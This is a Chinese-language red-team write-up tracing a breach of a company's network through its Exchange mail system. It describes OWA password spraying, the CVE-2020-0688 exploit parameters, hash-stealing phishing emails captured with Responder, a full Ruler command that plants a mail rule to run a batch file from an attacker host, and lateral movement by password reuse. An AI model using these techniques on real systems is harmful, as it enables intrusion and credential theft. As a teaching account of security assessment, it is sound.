前言
無論是紅隊專案還是滲透專案,打點的過程總是充斥著不確定性的,在一個攻擊面上充滿著各種可能性,每一個對外開放的服務都可能成為我們進入內網的通道,隨著每個人關注點的不同,進入內網的方式也是多種多樣的。以下內容是針對紅隊評估的經歷從外網到辦公網再到伺服器區的一次經歷,從一次次絕望再到放棄再到重見光明,闡述了一個“紅隊er”不拋棄不放棄誓“死”撐到最後一刻的決心。
從打點到放棄任務計劃已經過半了,透過前期進行打點操作未發現特別有價值的漏洞能夠突破邊界進入內網。眼看專案已經過半了,一般資產不是特別龐大的情況下利用幾天時間看一下目標沒有有價值的漏洞的話後邊很難透過常規方式繼續進行下去,是時候換換思路了。 我們知道在突破邊界的時候其實透過搞網站去突破邊界往往要優於透過辦公網路突破邊界,但是往往有時候辦公網路也能夠給我們驚喜。
讓我們整理一下思緒想一想現在手上所有的資訊,我能夠利用這些資訊去做什麼事情,我們先來整理一下外圍資產的情況。1、網站幾乎都是java+.net;2、郵箱使用exchange;3、未發現vpn等通道。
只能嘗試從郵箱進行突破了,有一個比較好一點的訊息是這個郵箱登入處保留初始設定,沒有新增驗證碼,這一點給我們突破帶來了比較有利的因素。
首先來看一下能否判斷出這個exchange的版本,exchange的版本號是可以透過內部版本號進行匹配大致得出使用的版本的,這點我們可以參考一下微軟官網“Exchange Server 內部版本號”。在owa頁面檢視原始碼在一個圖示ico的連結處可以看到內部版本號。
版本對應圖
連結:
https://docs.microsoft.com/zh-cn/Exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
可以看到原始碼中看到的“內部版本號”對應exchange的2013 CU23,這個版本的exchange存在反序列化可以在獲得賬號密碼之後登入進行反序列化導致rce,接下來的工作就放在了獲得賬號許可權上邊。
選了三個複雜密碼+1000個常見使用者名稱進行密碼噴灑,成功爆破出一個賬號。
透過登入此賬號的郵箱發現這個使用者郵箱中沒有什麼可利用的郵件,且利用郵箱的頻率也不高,嘗試一下cve-2020-0688看能不能rce。
獲取“ASP.NET_SessionId”.
引數“__VIEWSTATEGENERATOR”使用通用值“B97B4E27”;
引數“validationkey”使用“CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF”,此引數如果修復了漏洞會做隨機化處理則無法利用此漏洞。
生成反序列化payload。
提交觸發請求。
激動半天結果dnslog沒有返回任何結果(甚至一度幻想會不會是dnslog出問題了),直接嘗試進行反彈shell也沒有任何反應(繼續幻想一定是我某個引數寫錯了)。
從外網郵箱到內網突破
這種方式看來是失敗了,現在的思路是繼續使用內部拿到的僅有的一個賬號進行內部釣魚,看能否獲取到高許可權的賬號,由於利用owa進行暴力破解需要不斷髮包,而且根據前期密碼噴灑結果來看再爆出高價值使用者的密碼需要發包的次數會過高,容易觸發告警,且釣取高價值目標透過常規釣魚發木馬的方式也不一定好用,這裡計劃竊取NetNTLMv2 hash進行離線破解,加大爆破成功的機率,儘可能減少與目標的互動防止被防守方發現。
透過檢視郵箱通訊錄,選取了20個目標進行hash竊取(但願這些人常看郵件。。。),這20個人分別為運維部包含下屬分支和開發部。由於人數不多這裡單獨進行傳送,增加可信度。
郵件大致內容為我是行政小妹妹,請小哥哥幫我看一下這個報錯是什麼意思。我們透過在郵件中載入html,在程式碼中插入圖片的方式,受害者只要看到這個郵件我們就能抓到他的hash。
啟動Responder進行監聽。
收到第一個hash已經是第二天早上,上午陸續收到5個hash,下午收到2個,後來進行分批次破解,破解成功了兩個hash密碼。
透過登入該使用者的郵箱沒有發現太多對繼續滲透有幫助的內容,不過有一封郵件引起了我的注意,這封郵件的大體內容是整個公司的訪問控制沒有完全做好,有部分辦公網路和全部IT部門主機許可權仍然過大,需要在指定時間內對網路訪問控制做好,請相關部門進行統一整理劃分。這是個很重要的資訊,它告訴我們只要進入了辦公網路就有一定機率訪問到絕大部分的伺服器主機,只要能進入到IT部門的任意一臺主機就能夠訪問到所有伺服器主機。沒有退路可言繼續幹吧。
透過郵件進行釣魚的方式很多,但是一些好的方式一定是要讓使用者感知度很低才可以,這樣才能保證上線率的提高,況且我們現在只有三個機會,分別為普通員工所在的辦公網路人員賬號密碼一個,運維人員和開發人員所在的IT部門網路各一個,透過這三個賬號,我們嘗試一下能不能夠達到我們的預期效果成功反彈shell回來。
在這裡我們透過建立郵件規則的方式嘗試進行shell反彈。
./ruler-linux64 --email [email protected] -u username -p password add --trigger "updatefile" --name updatefiler --location "\\x.x.x.x@SSL\updatefile.zip\update.bat" –send
看到cs彈回來的shell我激動不已,一方面終於進到內網了,另一方面是這個人對應的組織架構是開發,應該是在IT部門網路,說明許可權還是比較大的。
辦公網到伺服器區
此時距離此行動結束還有兩天時間,我們意識到要在儘可能短的時間內進行橫向滲透拿到儘可能多臺伺服器主機,由於個人主機許可權非常不穩定,可用時間都是跟著上下班時間走的,晚上就不能幹活了,跟小夥伴做了分工,在儘可能不觸發大規模告警的情況下找到了伺服器所在網段一頓**。
首先為了快,先掃了一下445埠探測了一下ms17010,不過這個洞近段時間真的不怎麼好用了,不是指漏洞不好用,而是要麼漏洞修復了,要麼伺服器裝殺軟了,而且現在很多公司就算不打補丁就會優先在伺服器區限制445埠,能夠真正打進去的真不算多,很顯然結果讓我比較失望。
透過msf執行命令。
獲取主機密碼。
發現密碼規則為前邊固定字元後邊4個字元為年份,一般這種密碼很容易在網路中存在同口令或者有規律的口令,於是乎進行金鑰噴灑嘗試,撞到了很多同口令和規律口令的主機。
大致看了一下對應的系統都是一些內部的網站系統。此時距離行動結束還有一天的時間,剩下的時間應該可以開心的划水了。
回想一下這次滲透的整個過程和這個目標的特點,其實對於這個目標來說外圍加固已經很不錯了,暴露點很少而且外網基本沒發現能夠撕開的口子,但是我們需要利用有限的資源儘可能發揮其最大的作用。我把每一次紅隊或者滲透的行動都當作一個案例,每個案例都會有其獨特的攻擊路徑和方案,而我們需要去尋找最優的攻擊方案,隨著方案的最佳化和改進我們能夠看到的攻擊面和攻擊點就會逐漸顯現出來。
總結
我們透過外網打點未發現可用的漏洞能夠直接搞進內網,繼而轉向外網的郵件系統,透過郵件系統的爆破進入一個人員的郵箱系統在未發現可用郵件能夠支撐我們進行下一步滲透的情況下結合釣魚的方式透過outlook抓取目標人員的ntlmv2 hash進行離線破解,拿到目標人員的賬號密碼之後,透過檢視郵箱內容發現網路隔離規律繼而透過郵箱規則獲得受攻擊者的主機shell,透過拿到的辦公區主機shell進行內網滲透,獲得一臺windows系統許可權之後透過同密碼和有規律密碼進行密碼噴灑獲得大量內網主機。